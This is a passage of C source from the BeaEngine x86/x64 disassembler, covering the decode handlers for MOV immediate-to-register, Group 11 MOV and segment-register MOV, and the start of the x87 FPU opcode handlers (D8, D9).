       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.4X", MyAddress);
       EIP_+=3;
       (*pMyDisasm).Instruction.Immediat = MyAddress;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument2.ArgSize = 16;
    }

    if (REX.B_ == 0) {
        if (OperandSize == 64) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0]);
        }
        else if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0]);
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0]);
        }
    }
    else {
        if (OperandSize == 64) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0+8]);
        }
        else if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0+8]);
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0+8]);
        }
    }

}

// =======================================
//      0b9h
// =======================================
void __stdcall mov_ECX(PDISASM pMyDisasm)
{
    long long MyAddress;
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG1;
    (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    if (OperandSize == 64) {
        if (!Security(9)) return;
        MyAddress = *((unsigned long long *) (EIP_+1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%I64X", MyAddress);
        EIP_+=9;
        (*pMyDisasm).Instruction.Immediat = MyAddress;
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument2.ArgSize = 64;
    }
    else if (OperandSize == 32) {
        if (!Security(5)) return;
        MyAddress = *((DWORD*) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.8X", MyAddress);
       EIP_+=5;
       (*pMyDisasm).Instruction.Immediat = MyAddress;
        (*pMyDisasm).Argument1.ArgSize = 32;
        (*pMyDisasm).Argument2.ArgSize = 32;
    }
    else {
        if (!Security(3)) return;
        MyAddress = *((WORD*) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.4X", MyAddress);
       EIP_+=3;
       (*pMyDisasm).Instruction.Immediat = MyAddress;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument2.ArgSize = 16;
    }

    if (REX.B_ == 0) {
        if (OperandSize == 64) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[1+0]);
        }
        else if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[1+0]);
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[1+0]);
        }
    }
    else {
        if (OperandSize == 64) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[1+0+8]);
        }
        else if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[1+0+8]);
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[1+0+8]);
        }
    }

}

// =======================================
//      0bah
// =======================================
void __stdcall mov_EDX(PDISASM pMyDisasm)
{
    long long MyAddress;
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG2;
    (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    if (OperandSize == 64) {
        if (!Security(9)) return;
        MyAddress = *((unsigned long long *) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%I64X", MyAddress);
       EIP_+=9;
       (*pMyDisasm).Instruction.Immediat = MyAddress;
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument2.ArgSize = 64;
    }
    else if (OperandSize == 32) {
        if (!Security(5)) return;
        MyAddress = *((DWORD*) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.8X", MyAddress);
       EIP_+=5;
       (*pMyDisasm).Instruction.Immediat = MyAddress;
        (*pMyDisasm).Argument1.ArgSize = 32;
        (*pMyDisasm).Argument2.ArgSize = 32;
    }
    else {
        if (!Security(3)) return;
        MyAddress = *((WORD*) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.4X", MyAddress);
       EIP_+=3;
       (*pMyDisasm).Instruction.Immediat = MyAddress;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument2.ArgSize = 16;
    }

    if (REX.B_ == 0) {
        if (OperandSize == 64) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[2+0]);
        }
        else if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[2+0]);
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[2+0]);
        }
    }
    else {
        if (OperandSize == 64) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[2+0+8]);
        }
        else if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[2+0+8]);
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[2+0+8]);
        }
    }

}

// =======================================
//      0bbh
// =======================================
void __stdcall mov_EBX(PDISASM pMyDisasm)
{
    long long MyAddress;
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG3;
    (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    if (OperandSize == 64) {
        if (!Security(9)) return;
        MyAddress = *((unsigned long long *) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%I64X", MyAddress);
       EIP_+=9;
       (*pMyDisasm).Instruction.Immediat = MyAddress;
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument2.ArgSize = 64;
    }
    else if (OperandSize == 32) {
        if (!Security(5)) return;
        MyAddress = *((DWORD*) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.8X", MyAddress);
       EIP_+=5;
       (*pMyDisasm).Instruction.Immediat = MyAddress;
        (*pMyDisasm).Argument1.ArgSize = 32;
        (*pMyDisasm).Argument2.ArgSize = 32;
    }
    else {
        if (!Security(3)) return;
        MyAddress = *((WORD*) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.4X", MyAddress);
       EIP_+=3;
       (*pMyDisasm).Instruction.Immediat = MyAddress;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument2.ArgSize = 16;
    }

    if (REX.B_ == 0) {
        if (OperandSize == 64) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[3+0]);
        }
        else if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[3+0]);
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[3+0]);
        }
    }
    else {
        if (OperandSize == 64) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[3+0+8]);
        }
        else if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[3+0+8]);
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[3+0+8]);
        }
    }

}

// =======================================
//      0bch
// =======================================
void __stdcall mov_ESP(PDISASM pMyDisasm)
{
    long long MyAddress;
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG4;
    (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    if (OperandSize == 64) {
        if (!Security(9)) return;
        MyAddress = *((unsigned long long *) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%I64X", MyAddress);
       EIP_+=9;
       (*pMyDisasm).Instruction.Immediat = MyAddress;
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument2.ArgSize = 64;
    }
    else if (OperandSize == 32) {
        if (!Security(5)) return;
        MyAddress = *((DWORD*) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.8X", MyAddress);
       EIP_+=5;
       (*pMyDisasm).Instruction.Immediat = MyAddress;
        (*pMyDisasm).Argument1.ArgSize = 32;
        (*pMyDisasm).Argument2.ArgSize = 32;
    }
    else {
        if (!Security(3)) return;
        MyAddress = *((WORD*) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.4X", MyAddress);
       EIP_+=3;
       (*pMyDisasm).Instruction.Immediat = MyAddress;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument2.ArgSize = 16;
    }

    if (REX.B_ == 0) {
        if (OperandSize == 64) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[4+0]);
        }
        else if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[4+0]);
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[4+0]);
        }
    }
    else {
        if (OperandSize == 64) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[4+0+8]);
        }
        else if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[4+0+8]);
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[4+0+8]);
        }
    }

}

// =======================================
//      0bdh
// =======================================
void __stdcall mov_EBP(PDISASM pMyDisasm)
{
    long long MyAddress;
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG5;
    (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    if (OperandSize == 64) {
        if (!Security(9)) return;
        MyAddress = *((unsigned long long *) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%I64X", MyAddress);
       EIP_+=9;
       (*pMyDisasm).Instruction.Immediat = MyAddress;
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument2.ArgSize = 64;
    }
    else if (OperandSize == 32) {
        if (!Security(5)) return;
        MyAddress = *((DWORD*) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.8X", MyAddress);
       EIP_+=5;
       (*pMyDisasm).Instruction.Immediat = MyAddress;
        (*pMyDisasm).Argument1.ArgSize = 32;
        (*pMyDisasm).Argument2.ArgSize = 32;
    }
    else {
        if (!Security(3)) return;
        MyAddress = *((WORD*) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.4X", MyAddress);
       EIP_+=3;
       (*pMyDisasm).Instruction.Immediat = MyAddress;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument2.ArgSize = 16;
    }

    if (REX.B_ == 0) {
        if (OperandSize == 64) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[5+0]);
        }
        else if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[5+0]);
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[5+0]);
        }
    }
    else {
        if (OperandSize == 64) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[5+0+8]);
        }
        else if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[5+0+8]);
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[5+0+8]);
        }
    }

}

// =======================================
//      0beh
// =======================================
void __stdcall mov_ESI(PDISASM pMyDisasm)
{
    long long MyAddress;
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG6;
    (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    if (OperandSize == 64) {
        if (!Security(9)) return;
        MyAddress = *((unsigned long long *) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%I64X", MyAddress);
       EIP_+=9;
       (*pMyDisasm).Instruction.Immediat = MyAddress;
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument2.ArgSize = 64;
    }
    else if (OperandSize == 32) {
        if (!Security(5)) return;
        MyAddress = *((DWORD*) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.8X", MyAddress);
       EIP_+=5;
       (*pMyDisasm).Instruction.Immediat = MyAddress;
        (*pMyDisasm).Argument1.ArgSize = 32;
        (*pMyDisasm).Argument2.ArgSize = 32;
    }
    else {
        if (!Security(3)) return;
        MyAddress = *((WORD*) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.4X", MyAddress);
       EIP_+=3;
       (*pMyDisasm).Instruction.Immediat = MyAddress;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument2.ArgSize = 16;
    }

    if (REX.B_ == 0) {
        if (OperandSize == 64) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[6+0]);
        }
        else if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[6+0]);
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[6+0]);
        }
    }
    else {
        if (OperandSize == 64) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[6+0+8]);
        }
        else if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[6+0+8]);
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[6+0+8]);
        }
    }

}

// =======================================
//      0bfh
// =======================================
void __stdcall mov_EDI(PDISASM pMyDisasm)
{
    long long MyAddress;
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG7;
    (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    if (OperandSize == 64) {
        if (!Security(9)) return;
        MyAddress = *((unsigned long long *) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%I64X", MyAddress);
       EIP_+=9;
       (*pMyDisasm).Instruction.Immediat = MyAddress;
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument2.ArgSize = 64;
    }
    else if (OperandSize == 32) {
        if (!Security(5)) return;
        MyAddress = *((DWORD*) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.8X", MyAddress);
       EIP_+=5;
       (*pMyDisasm).Instruction.Immediat = MyAddress;
        (*pMyDisasm).Argument1.ArgSize = 32;
        (*pMyDisasm).Argument2.ArgSize = 32;
    }
    else {
        if (!Security(3)) return;
        MyAddress = *((WORD*) (EIP_+1));
       (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.4X", MyAddress);
       EIP_+=3;
       (*pMyDisasm).Instruction.Immediat = MyAddress;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument2.ArgSize = 16;
    }

    if (REX.B_ == 0) {
        if (OperandSize == 64) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[7+0]);
        }
        else if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[7+0]);
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[7+0]);
        }
    }
    else {
        if (OperandSize == 64) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[7+0+8]);
        }
        else if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[7+0+8]);
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[7+0+8]);
        }
    }

}
// =======================================
//      0c6h - Group 11
// =======================================
void __stdcall mov_EbIb(PDISASM pMyDisasm)
{
    REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
    if (REGOPCODE == 0) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
        EbIb(pMyDisasm);
    }
    else {
        FailDecode(pMyDisasm);
    }
}

// =======================================
//      0c7h - Group 11
// =======================================
void __stdcall mov_EvIv(PDISASM pMyDisasm)
{
    REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
    if (REGOPCODE == 0) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
        EvIv(pMyDisasm);
    }
    else {
        FailDecode(pMyDisasm);
    }
}

// =======================================
//      08ch
// =======================================
void __stdcall mov_EwSreg(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
    OpSize = 2;
    OperandSize = 16;
    MOD_RM(&(*pMyDisasm).Argument1);
    OperandSize = 32;
    SEG_ = 1;
    Reg_Opcode(&(*pMyDisasm).Argument2);
    SEG_ = 0;
    EIP_ += DECALAGE_EIP + 2;
}

// =======================================
//      08eh
// =======================================
void __stdcall mov_SregEw(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov ");
    OpSize = 102;
    OperandSize = 16;
    MOD_RM(&(*pMyDisasm).Argument2);
    OperandSize = 32;
    SEG_ = 1;
    Reg_Opcode(&(*pMyDisasm).Argument1);
    SEG_ = 0;
    EIP_ += DECALAGE_EIP + 2;
}
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// Copyright 2006-2009, BeatriX
// File coded by BeatriX
//
// This file is part of BeaEngine.
//
//    BeaEngine is free software: you can redistribute it and/or modify
//    it under the terms of the GNU Lesser General Public License as published by
//    the Free Software Foundation, either version 3 of the License, or
//    (at your option) any later version.
//
//    BeaEngine is distributed in the hope that it will be useful,
//    but WITHOUT ANY WARRANTY; without even the implied warranty of
//    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//    GNU Lesser General Public License for more details.
//
//    You should have received a copy of the GNU Lesser General Public License
//    along with BeaEngine.  If not, see <http://www.gnu.org/licenses/>.

// ====================================================================
//
// ====================================================================
void __stdcall D8_(PDISASM pMyDisasm)
{
    long MyMODRM;
    char (*pRegistersFPU)[8][8] ;

    DECALAGE_EIP = 0;
    if (!Security(1)) {return;}
    MyMODRM = *((BYTE*) (EIP_+1));
    pRegistersFPU = &RegistersFPU_Masm;
    if (SYNTAX_ == NasmSyntax) {
        pRegistersFPU = &RegistersFPU_Nasm;
    }
    if (MyMODRM <= 0xbf) {
        OpSize = 103;
        REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
        if (REGOPCODE == 0) {
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fadd ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 1) {
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fmul ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 2) {
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + COMPARISON_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcom ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
            (*pMyDisasm).Argument1.AccessMode = READ;
        }
        else if (REGOPCODE == 3) {
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + COMPARISON_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcomp ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
            (*pMyDisasm).Argument1.AccessMode = READ;
        }
        else if (REGOPCODE == 4) {
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fsub ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 5) {
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fsubr ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 6) {
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fdiv ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 7) {
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fdivr ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else {
            FailDecode(pMyDisasm);
        }
    }
    else {
        if ((MyMODRM & 0xf0) == 0xc0) {
            if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fadd ");
            }
            else {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fmul ");
            }
            (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
            (*pMyDisasm).Argument1.ArgSize = 80;
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REGS[(MyMODRM & 0xf)%8];
            (*pMyDisasm).Argument2.ArgSize = 80;
        }
        else if ((MyMODRM & 0xf0) == 0xd0) {
            if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + COMPARISON_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcom ");
            }
            else {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + COMPARISON_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcomp ");
            }
            (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
            (*pMyDisasm).Argument1.ArgSize = 80;
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REGS[(MyMODRM & 0xf)%8];
            (*pMyDisasm).Argument2.ArgSize = 80;
        }
        else if ((MyMODRM & 0xf0) == 0xe0) {
            if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fsub ");
            }
            else {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fsubr ");
            }
            (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
            (*pMyDisasm).Argument1.ArgSize = 80;
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REGS[(MyMODRM & 0xf)%8];
            (*pMyDisasm).Argument2.ArgSize = 80;
        }
        else if ((MyMODRM & 0xf0) == 0xf0) {
            if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fdiv ");
            }
            else {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fdivr ");
            }
            (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
            (*pMyDisasm).Argument1.ArgSize = 80;
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REGS[(MyMODRM & 0xf)%8];
            (*pMyDisasm).Argument2.ArgSize = 80;
        }
    }
    EIP_ += DECALAGE_EIP + 2;
}

// ====================================================================
//
// ====================================================================
void __stdcall D9_(PDISASM pMyDisasm)
{
    long MyMODRM;
    char (*pRegistersFPU)[8][8] ;

    DECALAGE_EIP = 0;
    if (!Security(1)) {return;}
    MyMODRM = *((BYTE*) (EIP_+1));
    pRegistersFPU = &RegistersFPU_Masm;
    if (SYNTAX_ == NasmSyntax) {
        pRegistersFPU = &RegistersFPU_Nasm;
    }
    if (MyMODRM <= 0xbf) {

